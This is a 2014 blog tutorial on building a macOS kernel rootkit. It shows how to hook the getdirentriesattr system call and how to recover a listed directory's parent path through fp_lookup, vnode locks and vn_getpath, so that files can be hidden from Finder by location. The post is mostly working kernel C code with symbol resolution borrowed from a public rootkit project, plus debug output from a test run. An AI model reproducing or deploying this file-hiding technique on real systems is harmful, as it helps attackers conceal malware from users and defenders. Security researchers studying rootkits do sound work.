2014-05-17, James Robson, http://soundly.me
Since this code won't necessarily have a long shelf life, here's my system:
% uname -rsv
Darwin 13.1.0 Darwin Kernel Version 13.1.0: Thu Jan 16 19:40:37 PST 2014; root:xnu-2422.90.20~2/RELEASE_X86_64
Works here, at this point in time. Your mileage may vary.
In a kernel rootkit you take over one (or more) of the getdirentries
,
getdirentriesattr
, and getdirentries64
system calls in order to hide files.
The problem is that these functions provide you the filenames, but not the
parent folder. Not directly anyway.
Phrack Magazine described a method for getting the parent folder here:
http://www.phrack.org/papers/revisiting-mac-os-x-kernel-rootkits.html
Basically, their idea is to inspect the (opaque) proc
structure for its
filedesc
structure ...
Luckily for us, all syscalls functions prototypes contain the proc structure as
the first parameter. It contains enough information to match the full pathname.
struct proc {
(...)
struct filedesc *p_fd; /* Ptr to open files structure. */
(...)
}
... and from that extract all the fileproc
structures to files held open by
the process. Following that down you eventually get a vnode
from which you
can get the name:
void show_all_openfiles(struct proc *p)
{
// lock proc structure else we are asking for trouble
(*proc_fdlock)(p);
struct filedesc *fd = p->p_fd;
if (fd != NULL)
{
// for some reason fd_nfiles is not useful for this
int lastfile = fd->fd_lastfile;
// show all open files for this proc
for (int count = 0; count < lastfile; count++)
{
// fd_ofiles is an array of fileproc that contains file structs
// for all open files
struct fileproc *fp = fd->fd_ofiles[count];
// we are only interested in files so match fg_type field
if (fp != NULL &&
fp->f_fglob != NULL &&
fp->f_fglob->fg_type == DTYPE_VNODE)
{
// lock the vnode - fg_data cast depends on fg_type
// type is vnode so we know fg_data will point to a vnode_t
(*vnode_lock)((struct vnode*)fp->f_fglob->fg_data);
struct vnode *vn = (struct vnode*)fp->f_fglob->fg_data;
if (vn->v_name != NULL)
{
printf("[%d] Filename: %s\n", count, vn->v_name);
}
(*vnode_unlock)((struct vnode*)fp->f_fglob->fg_data);
}
}
}
(*proc_fdunlock)(p);
}
Unfortunately for me, neither fd->fd_lastfile
nor fd->fd_nfiles
ever held
anything meaningful. fd_lastfile
invariably returned as 7FFFFFFF
and
fd_nfiles
as -1
.
I still don't really know why. I eventually gave up and tried another avenue.
This method should work for any of the three syscalls I mention above. We'll
stick with getdirentriesattr()
since that's the one Finder seems to like
the most.
It always seemed tantalizing to me, that the getdirentriesattr_args
structure
-- passed in when overriding getdirentriesattr()
-- contained the int fd
member. And when you look up the system call, it has this to say:
% man getdirentriesattr
getdirentriesattr(int fd, struct attrlist * attrList, ... );
...
The function reads directory entries from the directory referenced by the
file descriptor fd.
Which means that we should be able to get at it from our hijack function, like so, right?
int hook_getdirentriesattr(
struct proc *p, struct getdirentriesattr_args *uap, int *i)
{
printf("%d\n", uap->fd)
...
}
Unfortunately, it's a file descriptor created in a different process, and is meaningless in ours. Sure you'll get a digit you can print out, but don't try doing anything with it that seems obvious, unless you want to wreck and reboot.
There is a way to access it though. And by doing so, we are able to learn the
parent folder for the list of files we get in hook_getdirentriesattr()
.
First, I have to note that I borrowed from this project to solve the problem:
https://github.com/gdbinit/onyx-the-black-cat
In fact, a lot of the heavy lifting is taken care of by the code in this
library. Such as resolving an address to a function from its symbol name, i.e.,
solve_kernel_symbol()
, or getting the sysent table while accounting for
KASLR, i.e. find_sysent()
. If you haven't already, you should check it out.
So it turns out getting the path for uap->fd
is pretty straightforward, once you
gain access to a couple kernel functions.
If you call the kernel function fp_lookup()
on uap->fd
, you get a pointer
to a fileproc
structure. And with a couple of lock functions, you can access
the vnode
safely. Once you get there, you can use vn_getpath()
to retrieve
the path.
The trick is gaining access to the functions you need. You can get them from
the running kernel (to which you have direct access if you build a kernel extension)
by using the solve_kernel_symbol()
function I mention above.
But first, you'll need some definitions:
// Found in: xnu-2422.1.72/bsd/kern/kern_descrip.c
/*
Get fileproc pointer for a given fd from the per process open file
table of the specified process and if successful, increment the
f_iocount
*/
int (*hook_fp_lookup)(struct proc *p, int fd, struct fileproc **resultfp, int locked);
// Drop the I/O reference previously taken by calling fp_lookup
int (*hook_fp_drop)(struct proc *p, int fd, struct fileproc *fp, int locked);
void (*hook_vnode_lock)(vnode_t);
void (*hook_vnode_unlock)(vnode_t);
Next, you need to assign the address of the running kernel functions to your pointers. Here's where the onyx-the-black-cat source is awesome.
hook_fp_lookup = (void*)solve_kernel_symbol(&g_kernel_info, "_fp_lookup");
hook_fp_drop = (void*)solve_kernel_symbol(&g_kernel_info, "_fp_drop");
hook_vnode_lock = (void*)solve_kernel_symbol(&g_kernel_info, "_vnode_lock");
hook_vnode_unlock = (void*)solve_kernel_symbol(&g_kernel_info, "_vnode_unlock");
Note that g_kernel_info
is a global kernel_info
struct, which needs to be
initialized. It's defined here:
https://github.com/gdbinit/onyx-the-black-cat/blob/master/kext/my_data_definitions.h
Now, you're ready to use these functions in your hijack function to obtain
the path of uap->fd
.
int hook_getdirentriesattr(
struct proc *p, struct getdirentriesattr_args *uap, int *i)
{
int l;
char* par_path; // Will hold the parent folder path
struct fileproc* fp;
// 1. Allocate space to hold the parent path:
MALLOC(par_path, char*, PATH_MAX, M_TEMP, M_WAITOK);
// 2. Get fileproc data for uap->fd. Important: the final '0' parameter
// tells fp_lookup() to call proc_fdlock():
hook_fp_lookup(p, uap->fd, &fp, 0);
if (fp->f_fglob->fg_ops->fo_type == DTYPE_VNODE)
{
printf("DTYPE_VNODE!\n");
// 3. Be sure we do this under lock:
hook_vnode_lock((vnode_t)fp->f_fglob->fg_data);
// 4. Jackpot:
int err;
if ( (err = vn_getpath((vnode_t)fp->f_fglob->fg_data, par_path, &l)) == 0)
{
printf("**** Returning entries for: %s\n", par_path);
}
else
{
printf("vn_getpath err: %d\n", err);
}
// 5. Unlock or who knows the repercussions:
hook_vnode_unlock((vnode_t)fp->f_fglob->fg_data);
}
else
{
printf("fo_type: %d\n", fp->f_fglob->fg_ops->fo_type);
}
// 6. Decrement I/O reference
hook_fp_drop(p, uap->fd, fp, 0);
// ... get the filenames, or whatever ...
FREE(par_path, M_TEMP);
}
The fileproc
structure holds a pointer to a struct fileglob
. If it's of
type DTYPE_VNODE
then we're in business. And it's likely to be in the case
where you want to prevent Finder from showing a file. At any rate you can't
call vn_getpath()
on a different value, so it's the only one that matters to
us in this case.
And the output from Console:
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] -----> hook_getdirentriesattr()
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] pid: 182 proc: Finder | ppid: 145 parent proc: launchd
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] DTYPE_VNODE!
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] **** Returning entries for: /Users/jar/Documents/what-path-is-it
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] count: 10
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: defcon-17-bosse_eriksson-kernel_patching_on_osx.pdf
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: Defiling_Mac_OS_X_Kiwicon.pdf
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: Developing Mac OSX kernel rootkits.txt
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: dtrace notes and samples
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: dtrace-infiltrate.pdf
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: FORENSIC-MEMORY-ANALYSIS-FOR-APPLE-OS-X.pdf
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: fsblind.zip
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: fsevents-hacking-dtrace-mach_inject.md
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: fsevents-hacking-dtrace-mach_inject.txt
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: kexttest.txt
So now we're in business. We're not only able to manipulate the output based on the file names, but by the location of the files too.